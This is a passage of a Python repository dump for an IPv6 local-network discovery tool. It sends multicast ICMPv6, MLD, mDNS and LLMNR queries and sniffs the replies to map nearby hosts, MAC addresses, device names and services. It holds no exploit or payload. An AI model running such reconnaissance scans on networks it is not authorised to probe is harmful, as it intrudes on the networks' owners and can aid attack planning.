-------------------------------------------------------------------------------- 1 | var namespace = '/scan'; // change to an empty string to use the global namespace 2 | module.exports = { 3 | socket: require('socket.io-client').connect('http://' + document.domain + ':8080' + namespace) 4 | } 5 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | www: 2 | build: . 3 | volumes: 4 | - .:/src 5 | ports: 6 | - 80:5000 7 | net: host 8 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | templates/index.html -------------------------------------------------------------------------------- /ipv6/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/ipv6/__init__.py -------------------------------------------------------------------------------- /ipv6/dns.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import binascii 3 | from multiprocessing.pool import ThreadPool 4 | from copy import copy 5 | from itertools import izip_longest 6 | from ipv6 import createIPv6, get_source_address, grabRawSrc, getMacAddress 7 | from scapy.layers.dns import DNS as scapyDNS 8 | 9 | class DNS: 10 | def init(self): 11 | None 12 | 13 | def digIPv6(self,ip,version=6): 14 | response_return = "" 15 | ip_packet = self.createIPv6() 16 | ip_packet.fields["nh"] = 17 #DNS 17 | ip_packet.fields["hlim"] = 255 18 | ip_packet.fields["dst"] = "ff02::fb" 19 | if "src" not in ip_packet.fields: 20 | ip_packet.fields["src"] = get_source_address(ip_packet) 21 | 22 | udp_segment = UDP() 23 | udp_segment.fields["dport"] = 5353 24 | udp_segment.fields["sport"] = 5353 25 | 26 | transaction_id = "0002" 27 | flags = "0000" 28 | questions = "0001" 29 | answer_rrs = "0000" 30 | authority_rrs = "0000" 31 | additional_rrs = "0000" 32 | 33 | if version == 4: 34 | questionList = [".".join(ip.split(".")[::-1]) + ".in-addr.arpa"] 35 | elif version == 6: 36 | ipaddress = [] 37 | digits = ip.replace(":","") 38 | digits = digits[:4] + "000000000000" + digits[4:] 39 | for digit in digits[::-1]: 40 | ipaddress.append(digit) 41 | questionList = [".".join(ipaddress) + ".ip6.arpa"] 42 | 43 | payload = "" 44 | for questionName in questionList: 45 | queryType = "000c" # domain pointer 46 | questionIn = "8001" 47 | payload += binascii.hexlify(str(DNSQR(qname=questionName,qtype='PTR')))[:-4] + "8001" 48 | queryInfo = transaction_id + flags + "{:04x}".format(len(questionList)) + answer_rrs + authority_rrs + additional_rrs 49 | payload = queryInfo + payload 50 | raw = Raw() 51 | raw.fields["load"] = binascii.unhexlify(payload) 52 | 53 | 54 | build_lfilter = lambda (packet): IPv6 in packet and UDP in packet and packet[UDP].dport == 5353 55 | 56 | 57 | 58 | 59 | pool = ThreadPool(processes=1) 60 | async_result = pool.apply_async(self.listenForEcho,[build_lfilter,2]) # tuple of args for foo 61 | 62 | send(ip_packet/udp_segment/raw) 63 | responseDict = {} 64 | return_val = async_result.get() 65 | 66 | for response in return_val: 67 | ip = response[IPv6].src 68 | rawSrc = copy(response[IPv6]) 69 | rawSrc.remove_payload() 70 | rawSrc = grabRawSrc(rawSrc) 71 | mac = getMacAddress(rawSrc) 72 | if ip not in responseDict: 73 | responseDict[ip] = {"mac":mac} 74 | 75 | dnsDict = {} 76 | try: 77 | dnsDict = self.parsemDNS(response[Raw]) 78 | except Exception,e: print e 79 | if dnsDict: 80 | responseDict[ip].update({"dns_data":dnsDict}) 81 | return response_return 82 | 83 | 84 | 85 | def dig_and_listen(self,IPList,version=6): 86 | build_lfilter = lambda (packet): IPv6 in packet and UDP in packet and packet[UDP].dport == 5353 87 | pool = ThreadPool(processes=1) 88 | async_result = pool.apply_async(self.listenForEcho,[build_lfilter,9]) 89 | 90 | for ip in IPList: 91 | self.dig_noreceive(ip,version) 92 | 93 | 94 | return_val = async_result.get() 95 | #returnResponse = self.parse_dig(return_val,IPList) 96 | 97 | #Need to fix this 98 | return None 99 | 100 | 101 | 102 | 103 | 104 | 105 | def dig_noreceive(self,ip,version=6): 106 | response_return = "" 107 | ip_packet = createIPv6() 108 | ip_packet.fields["nh"] = 17 #DNS 109 | ip_packet.fields["hlim"] = 255 110 | ip_packet.fields["dst"] = "ff02::fb" 111 | if "src" not in ip_packet.fields: 112 | ip_packet.fields["src"] = get_source_address(ip_packet) 113 | 114 | udp_segment = UDP() 115 | udp_segment.fields["dport"] = 5353 116 | udp_segment.fields["sport"] = 5353 117 | 118 | transaction_id = "0002" 119 | flags = "0000" 120 | questions = "0001" 121 | answer_rrs = "0000" 122 | authority_rrs = "0000" 123 | additional_rrs = "0000" 124 | 125 | 126 | if version == 4: 127 | questionList = [".".join(ip.split(".")[::-1]) + ".in-addr.arpa"] 128 | elif version == 6: 129 | ipaddress = [] 130 | digits = ip.replace(":","") 131 | digits = digits[:4] + "000000000000" + digits[4:] 132 | for digit in digits[::-1]: 133 | ipaddress.append(digit) 134 | questionList = [".".join(ipaddress) + ".ip6.arpa"] 135 | 136 | payload = "" 137 | for questionName in questionList: 138 | queryType = "000c" # domain pointer 139 | questionIn = "8001" 140 | payload += binascii.hexlify(str(DNSQR(qname=questionName,qtype='PTR')))[:-4] + "8001" 141 | queryInfo = transaction_id + flags + "{:04x}".format(len(questionList)) + answer_rrs + authority_rrs + additional_rrs 142 | payload = queryInfo + payload 143 | raw = Raw() 144 | raw.fields["load"] = binascii.unhexlify(payload) 145 | 146 | send(ip_packet/udp_segment/raw, verbose=False) 147 | 148 | 149 | def llmnr_noreceive(self,ip,version=6): 150 | ip_packet = createIPv6() 151 | ip_packet.fields["nh"] = 17 #DNS 152 | ip_packet.fields["hlim"] = 255 153 | ip_packet.fields["dst"] = "ff02::1:3" 154 | if "src" not in ip_packet.fields: 155 | ip_packet.fields["src"] = get_source_address(ip_packet) 156 | 157 | udp_segment = UDP() 158 | udp_segment.fields["dport"] = 5355 159 | udp_segment.fields["sport"] = 5355 160 | 161 | transaction_id = "0002" 162 | flags = "0000" 163 | questions = "0001" 164 | answer_rrs = "0000" 165 | authority_rrs = "0000" 166 | additional_rrs = "0000" 167 | 168 | if version == 4: 169 | questionList = [".".join(ip.split(".")[::-1]) + ".in-addr.arpa"] 170 | elif version == 6: 171 | ipaddress = [] 172 | digits = ip.replace(":","") 173 | digits = digits[:4] + "000000000000" + digits[4:] 174 | for digit in digits[::-1]: 175 | ipaddress.append(digit) 176 | questionList = [".".join(ipaddress) + ".ip6.arpa"] 177 | 178 | payload = "" 179 | for questionName in questionList: 180 | queryType = "000c" # domain pointer 181 | questionIn = "8001" 182 | payload += binascii.hexlify(str(DNSQR(qname=questionName,qtype='PTR')))[:-4] + "0001" 183 | queryInfo = transaction_id + flags + "{:04x}".format(len(questionList)) + answer_rrs + authority_rrs + additional_rrs 184 | payload = queryInfo + payload 185 | raw = Raw() 186 | raw.fields["load"] = binascii.unhexlify(payload) 187 | send(ip_packet/udp_segment/raw) 188 | 189 | def llmnr_send_recv(self,res): 190 | build_lfilter = lambda (packet): IPv6 in packet and UDP in packet and packet[UDP].dport == 5355 191 | 192 | pool = ThreadPool(processes=1) 193 | async_result = pool.apply_async(self.listenForEcho,[build_lfilter,2]) # tuple of args for foo 194 | 195 | for ip in res: 196 | if "multicast_report" in res[ip]: 197 | for report in res[ip]["multicast_report"]: 198 | if report["multicast_address"] == "ff02::1:3": 199 | self.llmnr_noreceive(ip) 200 | 201 | return_val = async_result.get() 202 | return self.parseLLMNR(return_val) 203 | 204 | def parseLLMNR(self,responses): 205 | responseDict = {} 206 | for response in responses: 207 | ip = response[IPv6].src 208 | rawSrc = copy(response[IPv6]) 209 | rawSrc.remove_payload() 210 | rawSrc = grabRawSrc(rawSrc) 211 | mac = getMacAddress(rawSrc) 212 | if ip not in responseDict: 213 | responseDict[ip] = {"mac":mac} 214 | 215 | dnsDict = {} 216 | 217 | try: 218 | dnsDict = self.parseLLMNRPacket(response[LLMNRQuery]) 219 | except Exception,e: print e 220 | if dnsDict: 221 | responseDict[ip].update({"dns_data":dnsDict}) 222 | return responseDict 223 | 224 | 225 | def llmnr(self,ip,version=6): 226 | ip_packet = createIPv6() 227 | ip_packet.fields["nh"] = 17 #DNS 228 | ip_packet.fields["hlim"] = 255 229 | ip_packet.fields["dst"] = "ff02::1:3" 230 | if "src" not in ip_packet.fields: 231 | ip_packet.fields["src"] = get_source_address(ip_packet) 232 | 233 | udp_segment = UDP() 234 | udp_segment.fields["dport"] = 5355 235 | udp_segment.fields["sport"] = 5355 236 | 237 | transaction_id = "0002" 238 | flags = "0000" 239 | questions = "0001" 240 | answer_rrs = "0000" 241 | authority_rrs = "0000" 242 | additional_rrs = "0000" 243 | 244 | if version == 4: 245 | questionList = [".".join(ip.split(".")[::-1]) + ".in-addr.arpa"] 246 | elif version == 6: 247 | ipaddress = [] 248 | digits = ip.replace(":","") 249 | digits = digits[:4] + "000000000000" + digits[4:] 250 | for digit in digits[::-1]: 251 | ipaddress.append(digit) 252 | questionList = [".".join(ipaddress) + ".ip6.arpa"] 253 | 254 | payload = "" 255 | for questionName in questionList: 256 | queryType = "000c" # domain pointer 257 | questionIn = "8001" 258 | payload += binascii.hexlify(str(DNSQR(qname=questionName,qtype='PTR')))[:-4] + "0001" 259 | queryInfo = transaction_id + flags + "{:04x}".format(len(questionList)) + answer_rrs + authority_rrs + additional_rrs 260 | payload = queryInfo + payload 261 | raw = Raw() 262 | raw.fields["load"] = binascii.unhexlify(payload) 263 | 264 | 265 | if "src" in ip_packet.fields: 266 | build_lfilter = lambda (packet): IPv6 in packet and packet[IPv6].dst == ip_packet.fields["src"] 267 | else: 268 | src = ip_packet.route()[1] 269 | print src 270 | build_lfilter = lambda (packet): IPv6 in packet and packet[IPv6].dst == src 271 | 272 | 273 | 274 | 275 | 276 | 277 | pool = ThreadPool(processes=1) 278 | async_result = pool.apply_async(self.listenForEcho,[build_lfilter,2]) # tuple of args for foo 279 | 280 | send(ip_packet/udp_segment/raw) 281 | responseDict = {} 282 | return_val = async_result.get() 283 | 284 | for response in return_val: 285 | ip = response[IPv6].src 286 | rawSrc = copy(response[IPv6]) 287 | rawSrc.remove_payload() 288 | rawSrc = grabRawSrc(rawSrc) 289 | mac = getMacAddress(rawSrc) 290 | responseDict[ip] = {"mac":mac} 291 | 292 | dnsDict = {} 293 | try: 294 | dnsDict = self.parsemDNS(response[Raw]) 295 | except Exception,e: print e 296 | 297 | responseDict[ip].update({"dns_data":dnsDict}) 298 | return responseDict 299 | 300 | def grouper(self,iterable, n, fillvalue=None): 301 | args = [iter(iterable)] * n 302 | return izip_longest(*args, fillvalue=fillvalue) 303 | 304 | def chunker(self,seq, size): 305 | return (seq[pos:pos + size] for pos in xrange(0, len(seq), size)) 306 | 307 | 308 | def mDNSQuery(self, receive=False): 309 | ip_packet = createIPv6() 310 | ip_packet.fields["nh"] = 17 #DNS 311 | ip_packet.fields["hlim"] = 255 312 | ip_packet.fields["dst"] = "ff02::fb" 313 | if "src" not in ip_packet.fields: 314 | ip_packet.fields["src"] = get_source_address(ip_packet) 315 | 316 | udp_segment = UDP() 317 | udp_segment.fields["dport"] = 5353 318 | udp_segment.fields["sport"] = 5353 319 | 320 | transaction_id = "0002" 321 | flags = "0000" 322 | questions = "0001" 323 | answer_rrs = "0000" 324 | authority_rrs = "0000" 325 | additional_rrs = "0000" 326 | 327 | questionListAll = ['_device-info._tcp','_spotify-connect._tcp','_googlecast._tcp','_services._dns-sd._udp','_apple-mobdev2._tcp','_workstation_tcp', '_http_tcp', '_https_tcp', '_rss_tcp', '_domain_udp', '_ntp_udp', '_smb_tcp', '_airport_tcp', '_ftp_tcp', '_tftp_udp', '_webdav_tcp', '_webdavs_tcp', '_afpovertcp_tcp', '_nfs_tcp', '_sftp-ssh_tcp', '_apt_tcp', '_ssh_tcp', '_rfb_tcp', '_telnet_tcp', '_timbuktu_tcp', '_net-assistant_udp', '_imap_tcp', '_pop3_tcp', '_printer_tcp', '_pdl-datastream_tcp', '_ipp_tcp', '_daap_tcp', '_dacp_tcp', '_realplayfavs_tcp', '_raop_tcp', '_rtsp_tcp', '_rtp_udp', '_dpap_tcp', '_pulse-server_tcp', '_pulse-sink_tcp', '_pulse-source_tcp', '_mpd_tcp', '_vlc-http_tcp', '_presence_tcp', '_sip_udp', '_h323_tcp', '_presenc_olp', '_iax_udp', '_skype_tcp', '_see_tcp', '_lobby_tcp', '_postgresql_tcp', '_svn_tcp', '_distcc_tcp', '_MacOSXDupSuppress_tcp', '_ksysguard_tcp', '_omni-bookmark_tcp', '_acrobatSRV_tcp', '_adobe-vc_tcp', '_pgpkey-hkp_tcp', '_ldap_tcp', '_tp_tcp', '_tps_tcp', '_tp-http_tcp', '_tp-https_tcp', '_workstation._tcp', '_http._tcp', '_https._tcp', '_rss._tcp', '_domain._udp', '_ntp._udp', '_smb._tcp', '_airport._tcp', '_ftp._tcp', '_tftp._udp', '_webdav._tcp', '_webdavs._tcp', '_afpovertcp._tcp', '_nfs._tcp', '_sftp-ssh._tcp', '_apt._tcp', '_ssh._tcp', '_rfb._tcp', '_telnet._tcp', '_timbuktu._tcp', '_net-assistant._udp', '_imap._tcp', '_pop3._tcp', '_printer._tcp', '_pdl-datastream._tcp', '_ipp._tcp', '_daap._tcp', '_dacp._tcp', '_realplayfavs._tcp', '_raop._tcp', '_rtsp._tcp', '_rtp._udp', '_dpap._tcp', '_pulse-server._tcp', '_pulse-sink._tcp', '_pulse-source._tcp', '_mpd._tcp', '_vlc-http._tcp', '_presence._tcp', '_sip._udp', '_h323._tcp', '_presenc._olp', '_iax._udp', '_skype._tcp', '_see._tcp', '_lobby._tcp', '_postgresql._tcp', '_svn._tcp', '_distcc._tcp', '_MacOSXDupSuppress._tcp', '_ksysguard._tcp', '_omni-bookmark._tcp', '_acrobatSRV._tcp', '_adobe-vc._tcp', '_pgpkey-hkp._tcp', '_ldap._tcp', '_tp._tcp', '_tps._tcp', '_tp-http._tcp', '_tp-https._tcp'] 328 | #questionList = questionList[:50] 329 | 330 | 331 | if receive: 332 | build_lfilter = lambda (packet): IPv6 in packet and UDP in packet and packet[UDP].dport == 5353 333 | pool = ThreadPool(processes=1) 334 | async_result = pool.apply_async(self.listenForEcho,[build_lfilter,5]) # tuple of args for foo 335 | 336 | 337 | for questionList in self.chunker(questionListAll,20): 338 | payload = "" 339 | for questionName in questionList: 340 | queryType = "000c" # domain pointer 341 | questionIn = "8001" 342 | payload += binascii.hexlify(str(DNSQR(qname=questionName + ".local",qtype='PTR')))[:-4] + "8001" 343 | queryInfo = transaction_id + flags + "{:04x}".format(len(questionList)) + answer_rrs + authority_rrs + additional_rrs 344 | payload = queryInfo + payload 345 | raw = Raw() 346 | raw.fields["load"] = binascii.unhexlify(payload) 347 | 348 | send(ip_packet/udp_segment/raw) 349 | 350 | 351 | if receive: 352 | responseDict = {} 353 | return_val = async_result.get() 354 | for response in return_val: 355 | ip = response[IPv6].src 356 | rawSrc = copy(response[IPv6]) 357 | rawSrc.remove_payload() 358 | rawSrc = grabRawSrc(rawSrc) 359 | mac = getMacAddress(rawSrc) 360 | if ip not in responseDict: 361 | responseDict[ip] = {"mac":mac} 362 | 363 | dnsDict = {} 364 | 365 | try: 366 | dnsDict = self.parsemDNS(response[Raw]) 367 | except Exception,e: print e 368 | if dnsDict: 369 | responseDict[ip].update({"dns_data":dnsDict}) 370 | return responseDict 371 | 372 | 373 | def parsemDNS(self,raw): 374 | dnsPacket = scapyDNS(str(raw)) 375 | answer_json = [] 376 | answers = dnsPacket.fields["an"] 377 | additional_records = dnsPacket.fields["ar"] 378 | counter = 0 379 | 380 | while True: 381 | if not answers: 382 | break 383 | layer = answers.getlayer(counter) 384 | if layer: 385 | answer_json.append({"answer_name": str(layer.fields["rrname"]), 386 | "answer_type": int(layer.fields["type"]), 387 | "answer_data": str(unicode(layer.fields["rdata"],errors="ignore")), 388 | "isAnswer": True}) 389 | else: 390 | break 391 | counter += 1 392 | 393 | counter = 0 394 | while True: 395 | if not additional_records: 396 | break 397 | layer = additional_records.getlayer(counter) 398 | if layer: 399 | answer_json.append({"answer_name": str(layer.fields["rrname"]), 400 | "answer_type": int(layer.fields["type"]), 401 | "answer_data": str(unicode(layer.fields["rdata"],errors="ignore")), 402 | "isAnswer": False}) 403 | else: 404 | break 405 | counter += 1 406 | 407 | return answer_json 408 | 409 | def parseLLMNRPacket(self,llmnrq): 410 | dnsPacket = scapyDNS(str(llmnrq)) 411 | answer_json = [] 412 | answers = dnsPacket.fields["an"] 413 | additional_records = dnsPacket.fields["ar"] 414 | counter = 0 415 | 416 | while True: 417 | if not answers: 418 | break 419 | layer = answers.getlayer(counter) 420 | if layer: 421 | answer_json.append({"answer_name": str(unicode(layer.fields["rdata"],errors="ignore")) + "local.", 422 | "answer_type": 28, 423 | "answer_data": str(layer.fields["rrname"]), 424 | "isAnswer": True}) 425 | else: 426 | break 427 | counter += 1 428 | 429 | counter = 0 430 | while True: 431 | if not additional_records: 432 | break 433 | layer = additional_records.getlayer(counter) 434 | if layer: 435 | answer_json.append({"answer_name": str(unicode(layer.fields["rdata"],errors="ignore")) + "local.", 436 | "answer_type": 28, 437 | "answer_data": str(layer.fields["rrname"]), 438 | "isAnswer": False}) 439 | else: 440 | break 441 | counter += 1 442 | 443 | return answer_json 444 | 445 | 446 | 447 | def listenForEcho(self,build_lfilter,timeout=2): 448 | #build_lfilter = lambda (packet): ICMPv6EchoReply in packet 449 | #build_lfilter = lambda (packet): ICMPv6NIReplyName in packet 450 | response = sniff(lfilter=build_lfilter, timeout=timeout) 451 | return response 452 | -------------------------------------------------------------------------------- /ipv6/icmpv6.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import binascii 3 | from multiprocessing.pool import ThreadPool 4 | from copy import copy 5 | from ipv6 import get_source_address, createIPv6, getMacAddress, grabRawSrc 6 | 7 | class ICMPv6: 8 | def init(self): 9 | None 10 | 11 | def echoAllNodes(self, receive=False): 12 | ip_packet = createIPv6() 13 | ip_packet.fields["version"] = 6L 14 | ip_packet.fields["tc"] = 0L 15 | ip_packet.fields["nh"] = 58 16 | ip_packet.fields["hlim"] = 1 17 | ip_packet.fields["dst"] = "ff02::1" 18 | if "src" not in ip_packet.fields: 19 | ip_packet.fields["src"] = get_source_address(ip_packet) 20 | 21 | 22 | """ 23 | #ICMPv6 Packet 24 | 0 1 2 3 25 | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 26 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 27 | | Type | Code | Checksum | 28 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 29 | | | 30 | + Message Body + 31 | | | 32 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 33 | """ 34 | 35 | 36 | icmp_packet = ICMPv6EchoRequest() 37 | icmp_packet.fields["code"] = 0 38 | icmp_packet.fields["seq"] = 1 39 | icmp_packet.fields["type"] = 128 40 | data = "e3d3f15500000000f7f0010000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637" 41 | icmp_packet.fields["data"] = binascii.unhexlify(data) 42 | 43 | # if receive is true, set up listener 44 | if receive: 45 | build_lfilter = lambda (packet): ICMPv6EchoReply in packet 46 | pool = ThreadPool(processes=1) 47 | async_result = pool.apply_async(self.listenForEcho,[build_lfilter]) 48 | 49 | send(ip_packet / icmp_packet,verbose=False) 50 | 51 | # if receive, return response 52 | if receive: 53 | responseDict = {} 54 | return_val = async_result.get() 55 | for response in return_val: 56 | ip = response[IPv6].src 57 | rawSrc = copy(response[IPv6]) 58 | rawSrc.remove_payload() 59 | rawSrc = grabRawSrc(rawSrc) 60 | mac = getMacAddress(rawSrc) 61 | responseDict[ip] = {"mac":mac} 62 | return responseDict 63 | 64 | 65 | 66 | def echoAllNodeNames(self, receive=False): 67 | ip_packet = createIPv6() 68 | ip_packet.fields["dst"] = "ff02::1" 69 | 70 | if "src" not in ip_packet.fields: 71 | ip_packet.fields["src"] = get_source_address(ip_packet) 72 | 73 | icmp_packet = ICMPv6NIQueryName() 74 | icmp_packet.fields["code"] = 0 75 | icmp_packet.fields["type"] = 139 76 | icmp_packet.fields["unused"] = 0L 77 | icmp_packet.fields["flags"] = 0L 78 | icmp_packet.fields["qtype"] = 2 79 | icmp_packet.fields["data"] = (0, 'ff02::1') 80 | 81 | # set up sniffer if receive 82 | if receive: 83 | build_lfilter = lambda (packet): ICMPv6NIReplyName in packet 84 | pool = ThreadPool(processes=1) 85 | async_result = pool.apply_async(self.listenForEcho,[build_lfilter]) 86 | 87 | send(ip_packet / icmp_packet) 88 | 89 | # return response if receive 90 | if receive: 91 | responseDict = {} 92 | return_val = async_result.get() 93 | for response in return_val: 94 | ip = response[IPv6].src 95 | rawSrc = copy(response[IPv6]) 96 | rawSrc.remove_payload() 97 | rawSrc = grabRawSrc(rawSrc) 98 | mac = getMacAddress(rawSrc) 99 | device_name = response[ICMPv6NIReplyName].fields["data"][1][1].strip() 100 | responseDict[ip] = {"mac":mac,"device_name":device_name} 101 | return responseDict 102 | 103 | 104 | def echoMulticastQuery(self, receive=False): 105 | ip_packet = createIPv6() 106 | ip_packet.fields["dst"] = "ff02::1" 107 | ip_packet.fields["nh"] = 0 108 | 109 | router_alert = RouterAlert() 110 | router_alert.fields["otype"] = 5 111 | router_alert.fields["value"] = 0 112 | router_alert.fields["optlen"] = 2 113 | 114 | padding = PadN() 115 | padding.fields["otype"] = 1 116 | padding.fields["optlen"] = 0 117 | 118 | ip_ext = IPv6ExtHdrHopByHop() 119 | ip_ext.fields["nh"] = 58 120 | ip_ext.fields["options"] = [router_alert,padding] 121 | ip_ext.fields["autopad"] = 1 122 | 123 | if "src" not in ip_packet.fields: 124 | ip_packet.fields["src"] = get_source_address(ip_packet) 125 | 126 | icmp_packet = ICMPv6MLQuery() 127 | icmp_packet.fields["code"] = 0 128 | icmp_packet.fields["reserved"] = 0 129 | icmp_packet.fields["mladdr"] = "::" 130 | flags = "02" 131 | qqic = "7d" #125 132 | numberOfSources = "0000" 133 | raw = Raw() 134 | raw.fields["load"] = binascii.unhexlify(flags + qqic + numberOfSources) 135 | 136 | payload = ip_packet/ip_ext/icmp_packet/raw 137 | 138 | if receive: 139 | filter = lambda (packet): IPv6 in packet 140 | ###Add function here 141 | responseDict = {} 142 | responses = self.send_receive(payload,filter,8) 143 | for response in responses: 144 | if self.isMulticastReportv2(response): 145 | reports = self.parseMulticastReport(response[Raw]) 146 | ip = response[IPv6].src 147 | rawSrc = copy(response[IPv6]) 148 | rawSrc.remove_payload() 149 | rawSrc = grabRawSrc(rawSrc) 150 | mac = getMacAddress(rawSrc) 151 | if ip in responseDict: 152 | responseDict[ip]["multicast_report"] += reports 153 | else: 154 | responseDict[ip] = {"mac":mac,"multicast_report":reports} 155 | return responseDict 156 | else: 157 | send(payload) 158 | 159 | 160 | 161 | def send_receive(self,payload,filter,timeout=2): 162 | build_lfilter = filter 163 | pool = ThreadPool(processes=1) 164 | async_result = pool.apply_async(self.listenForEcho,[build_lfilter,timeout]) 165 | 166 | send(payload) 167 | 168 | responses = async_result.get() 169 | return responses 170 | 171 | def isMulticastReportv2(self,response): 172 | if Raw in response and binascii.hexlify(str(response[Raw]))[0:2] == "8f": 173 | return True 174 | 175 | 176 | 177 | def parseMulticastReport(self,payload): 178 | responseDict = [] 179 | raw_packet = binascii.hexlify(str(payload)) 180 | type = raw_packet[0:2] 181 | code = raw_packet[2:4] 182 | cksum = raw_packet[4:8] 183 | reserved = raw_packet[8:12] 184 | num_of_records = int(raw_packet[12:16],16) 185 | 186 | for record in xrange(num_of_records): 187 | offset = (16 + (40 * record)) 188 | record_data = raw_packet[offset:(offset + 40)] 189 | record_type = record_data[0:2] 190 | data_len = record_data[2:4] 191 | num_of_sources = record_data[4:8] 192 | multicast_address = record_data[8:40] 193 | multicast_address = ':'.join([multicast_address[i:i+4] for i in range(0, len(multicast_address), 4)]) 194 | multicast_address = IPv6(dst = multicast_address).fields["dst"] 195 | responseDict.append({"record_type": record_type, 196 | "multicast_address":multicast_address, 197 | "service":self.getService(multicast_address)}) 198 | 199 | return responseDict 200 | 201 | def getService(self,multicast_address): 202 | serviceDict = {"ff02::202":"RPC", 203 | "ff02::fb":"mDNS", 204 | "ff02::1:3":"LLMNR", 205 | "ff02::c":"SSDP", 206 | "ff02::116":"SRVLOC", 207 | "ff02::123":"SVRLOC-DA", 208 | "ff05::2":"OSPFv3", 209 | "ff02::2":"Router", 210 | "ff02::1000":"SLP", 211 | "ff02::2:ff2e:b774": "FreeBSD"} 212 | if multicast_address in serviceDict: 213 | return serviceDict[multicast_address] 214 | else: 215 | return "" 216 | 217 | def listenForEcho(self,build_lfilter,timeout=2): 218 | response = sniff(lfilter=build_lfilter, timeout=timeout) 219 | return response -------------------------------------------------------------------------------- /ipv6/ipv6.py: -------------------------------------------------------------------------------- 1 | __author__ = 'prototype' 2 | from scapy.all import * 3 | from copy import copy 4 | import netifaces 5 | import binascii 6 | 7 | 8 | def createIPv6(): 9 | """ #IPv6 Packet 10 | 0 1 2 3 11 | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 12 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 13 | |Version| Traffic Class | Flow Label | 14 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 15 | | Payload Length | Next Header | Hop Limit | 16 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 17 | | | 18 | + + 19 | | | 20 | + Source Address + 21 | | | 22 | + + 23 | | | 24 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 25 | | | 26 | + + 27 | | | 28 | + Destination Address + 29 | | | 30 | + + 31 | | | 32 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 33 | """ 34 | ip_packet = IPv6() 35 | ip_packet.fields["version"] = 6L 36 | ip_packet.fields["tc"] = 0L 37 | ip_packet.fields["nh"] = 58 38 | ip_packet.fields["hlim"] = 1 39 | return ip_packet 40 | 41 | 42 | def get_source_address(packet): 43 | interface = packet.route()[0] 44 | if len(netifaces.ifaddresses(interface)) == 3: 45 | indexN = netifaces.ifaddresses(interface).keys()[-1] 46 | src = netifaces.ifaddresses(interface)[indexN][0]["addr"].split("%")[0] 47 | return src 48 | else: 49 | return None 50 | 51 | 52 | def grabRawSrc(packet): 53 | rawPacket = binascii.hexlify(str(packet)) 54 | srcAddress = rawPacket[16:20] + rawPacket[32:48] 55 | return srcAddress 56 | 57 | 58 | def grabRawDst(packet): 59 | rawPacket = binascii.hexlify(str(packet)) 60 | dstAddress = rawPacket[48:52] + rawPacket[64:80] 61 | return dstAddress 62 | 63 | def grabFullRawSrc(packet): 64 | rawPacket = binascii.hexlify(str(packet)) 65 | srcAddress = rawPacket[16:48] 66 | return srcAddress 67 | 68 | 69 | def getMacAddress(ip): 70 | mac = ip.replace(":", "") 71 | mac = mac[4:10] + mac[14:] 72 | mac = "%s:%s:%s:%s:%s:%s" % (mac[:2], mac[2:4], mac[4:6], mac[6:8], mac[8:10], mac[10:12]) 73 | 74 | flipbit = bin(int(mac[1], 16))[2:] 75 | while len(flipbit) < 4: 76 | flipbit = "0" + flipbit 77 | if flipbit[2] == 0: 78 | flipbit = flipbit[:2] + "1" + flipbit[3] 79 | else: 80 | flipbit = flipbit[:2] + "0" + flipbit[3] 81 | 82 | flipbit = hex(int(flipbit, 2))[2:] 83 | mac = mac[0] + flipbit + mac[2:] 84 | return mac 85 | 86 | def getMacFromPacket(packet): 87 | rawSrc = copy(packet[IPv6]) 88 | rawSrc.remove_payload() 89 | rawSrc = grabRawSrc(rawSrc) 90 | return getMacAddress(rawSrc) 91 | -------------------------------------------------------------------------------- /ipv6/ipv6sniffer.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from ipv6 import getMacFromPacket 3 | import dns as dns 4 | import icmpv6 as icmpv6 5 | import binascii 6 | from multiprocessing.pool import ThreadPool 7 | 8 | class IPv6Sniffer: 9 | pool = None 10 | stopped = False 11 | 12 | def init(self): 13 | None 14 | 15 | # initialize the listener 16 | def start(self, namespace, socketio): 17 | print("sniffer intialized on " + namespace) 18 | self.socketio = socketio 19 | self.stopped = False 20 | self.pool = ThreadPool(processes=1) 21 | self.pool.apply_async(self.listen,[namespace]) 22 | 23 | # start the listener 24 | def listen(self, namespace): 25 | res = sniff(lfilter=lambda (packet): IPv6 in packet, 26 | prn=lambda (packet): self.callback(packet, namespace), 27 | stop_filter=self.stopfilter, 28 | store=0) 29 | return res 30 | 31 | # stop the listener 32 | def stop(self): 33 | print('Stopping sniffer') 34 | self.stopped = True 35 | self.pool.close() 36 | self.pool.join() 37 | 38 | def stopfilter(self, packet): 39 | return self.stopped 40 | 41 | # callback for when packets are received 42 | def callback(self, packet, namespace): 43 | res = {} 44 | res['ip'] = packet[IPv6].src 45 | channel = False 46 | 47 | # icmp node 48 | if ICMPv6EchoReply in packet: 49 | channel = 'icmp_echo_result' 50 | res['mac'] = getMacFromPacket(packet) 51 | # icmp node name 52 | elif ICMPv6NIReplyName in packet: 53 | channel = 'icmp_name_result' 54 | res['device_name'] = 